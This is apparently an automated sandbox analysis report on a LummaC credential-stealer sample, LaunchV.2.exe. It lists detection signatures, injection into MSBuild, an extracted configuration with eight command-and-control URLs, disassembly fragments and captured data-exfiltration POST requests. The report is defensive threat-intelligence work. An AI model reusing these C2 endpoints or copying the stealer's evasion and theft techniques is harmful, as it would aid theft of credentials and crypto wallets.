Edit tour

Windows Analysis Report
LaunchV.2.exe

Overview

General Information

Sample name:	LaunchV.2.exe
Analysis ID:	1639954
MD5:	b7ad5811f05a5ce6664b01dd47d3a1d7
SHA1:	d9555b56a89bce5149b5c6a1c99a87e7a9a098c6
SHA256:	bff8217e37fe817479a614e0383f8c1d6f47999762c2005670c301927dac8a3a
Tags:	exeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

LaunchV.2.exe (PID: 7564 cmdline: "C:\Users\user\Desktop\LaunchV.2.exe" MD5: B7AD5811F05A5CE6664B01DD47D3A1D7)

conhost.exe (PID: 7572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 7624 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["loadoutle.life/kpLsOAm", "caliberc.today/KowpqlL", "pistolpra.bet/dABYyaz", "weaponwo.life/NghsayA", "armamenti.world/dsIOQn", "selfdefens.bet/dASBUz", "targett.top/dsANGt", "armoryarch.shop/GiqwY"], "Build id": "6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.2427532027.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
2.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 188.114.96.3, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7624, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49710

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-16T19:04:00.648820+0100	2028371	3	Unknown Traffic	192.168.2.4	49710	188.114.96.3	443	TCP
2025-03-16T19:04:01.765064+0100	2028371	3	Unknown Traffic	192.168.2.4	49711	188.114.96.3	443	TCP
2025-03-16T19:04:02.787127+0100	2028371	3	Unknown Traffic	192.168.2.4	49712	188.114.96.3	443	TCP
2025-03-16T19:04:04.280018+0100	2028371	3	Unknown Traffic	192.168.2.4	49713	188.114.96.3	443	TCP
2025-03-16T19:04:05.442238+0100	2028371	3	Unknown Traffic	192.168.2.4	49716	188.114.96.3	443	TCP
2025-03-16T19:04:06.603608+0100	2028371	3	Unknown Traffic	192.168.2.4	49717	188.114.96.3	443	TCP
2025-03-16T19:04:08.566598+0100	2028371	3	Unknown Traffic	192.168.2.4	49719	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.2.MSBuild.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["loadoutle.life/kpLsOAm", "caliberc.today/KowpqlL", "pistolpra.bet/dABYyaz", "weaponwo.life/NghsayA", "armamenti.world/dsIOQn", "selfdefens.bet/dASBUz", "targett.top/dsANGt", "armoryarch.shop/GiqwY"], "Build id": "6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660"}

Multi AV Scanner detection for submitted file

Source: LaunchV.2.exe	Virustotal: Detection: 38%			Perma Link
Source: LaunchV.2.exe	ReversingLabs: Detection: 38%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: loadoutle.life/kpLsOAm
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: caliberc.today/KowpqlL
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: pistolpra.bet/dABYyaz
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: weaponwo.life/NghsayA
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: armamenti.world/dsIOQn
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: selfdefens.bet/dASBUz
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: targett.top/dsANGt
Source: 2.2.MSBuild.exe.400000.0.raw.unpack	String decryptor: armoryarch.shop/GiqwY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041C582 CryptUnprotectData,CryptUnprotectData,	2_2_0041C582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041EF24 CryptUnprotectData,	2_2_0041EF24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041C582 CryptUnprotectData,CryptUnprotectData,	2_2_0041C582

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49719 version: TLS 1.2

Source: LaunchV.2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E11358 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00007FF646E11358
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E111D4 FindFirstFileExW,		0_2_00007FF646E111D4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	2_2_00445140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-000000D6h]	2_2_0044E900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then lea eax, dword ptr [esp+4Ch]	2_2_0040FA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	2_2_0044D290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	2_2_0044B3D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov esi, dword ptr [ecx+eax+3Ch]	2_2_00448BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+50h]	2_2_00445380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+50h]	2_2_00445380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00438460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [ebp+eax+3A919412h]	2_2_0044B473
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F7D6D3F6h	2_2_0044E5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+163E6BF0h]	2_2_0042CE60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+000002E2h]	2_2_0041EF24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0041EF24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0000009Eh]	2_2_00420002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	2_2_0044C023
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 743EDB10h	2_2_0044D830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, edx	2_2_0044C0DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-27865B7Bh]	2_2_004258F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-74h]	2_2_0040C890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-00000086h]	2_2_0044D0A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1Ah]	2_2_0041E0A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1Ah]	2_2_0041E0A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+4AAE1442h]	2_2_0042F16A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+24h]	2_2_0041290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0041290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0041290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+50h]	2_2_00428110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	2_2_00428110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_00428110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [edi+eax+79014E66h]	2_2_0044B1CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	2_2_004209D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+ecx*8], 744E5843h	2_2_004491D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+6C5F5974h]	2_2_004491D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [esi], cl	2_2_0043924D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp], edi	2_2_0043924D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_00434A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+791B2068h]	2_2_0042DA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, eax	2_2_00408A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+32AD0A60h]	2_2_0042FAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+4AAE143Eh]	2_2_004462D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00442AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	2_2_00433AFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+0Ch]	2_2_00424A82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-000000D6h]	2_2_0044EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+esi+0Ch]	2_2_00432A87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edx+eax+02h], 0000h	2_2_00432A87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	2_2_00432A87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-33692858h]	2_2_00437A84
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-33692858h]	2_2_00437A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	2_2_0040A290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_0040A290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+000000C8h]	2_2_00411290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+02h]	2_2_0042A340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 7A542AABh	2_2_0044DB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+20h]	2_2_0041EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	2_2_0041EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, edx	2_2_004333C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, edx	2_2_004333C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004333C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp], ecx	2_2_004313DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-5ECA2E42h]	2_2_00411C2D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+791B2068h]	2_2_0042DC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	2_2_00438550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00436D66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+28h], F3F2F558h	2_2_00436D66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+0Ch]	2_2_00424A82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	2_2_00438580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, eax	2_2_00431D9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	2_2_00446DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+0Ah]	2_2_00446DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 656D2358h	2_2_0041DE50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [esi], al	2_2_00423D5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [esi], al	2_2_00423D5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00429E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	2_2_0043863F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	2_2_004386C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov edi, dword ptr [ebp-20h]	2_2_0044A6A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+esi]	2_2_0044BEB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ecx+5EDC1802h]	2_2_0042D6BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	2_2_0044B746
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-1Eh]	2_2_00448F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	2_2_00402770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edx+eax+02h], 0000h	2_2_00432F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	2_2_00432F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	2_2_00433F74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [edx+eax+02h], 0000h	2_2_00432F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	2_2_00432F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0041B7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+4AAE143Eh]	2_2_00446790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	2_2_0044BFA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-3BFF5478h]	2_2_004297B0

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: loadoutle.life/kpLsOAm
Source: Malware configuration extractor	URLs: caliberc.today/KowpqlL
Source: Malware configuration extractor	URLs: pistolpra.bet/dABYyaz
Source: Malware configuration extractor	URLs: weaponwo.life/NghsayA
Source: Malware configuration extractor	URLs: armamenti.world/dsIOQn
Source: Malware configuration extractor	URLs: selfdefens.bet/dASBUz
Source: Malware configuration extractor	URLs: targett.top/dsANGt
Source: Malware configuration extractor	URLs: armoryarch.shop/GiqwY

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49716 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49717 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49712 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49719 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49713 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6hMvgV83JHVIT9kihzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19631Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=48xR9e25Z91SovUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8768Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0BDK40Pfib5sSx01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20431Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C9gs635q4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2541Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0GFISp1QzXCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 567488Host: loadoutle.life
Source: global traffic	HTTP traffic detected: POST /kpLsOAm HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 99Host: loadoutle.life

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
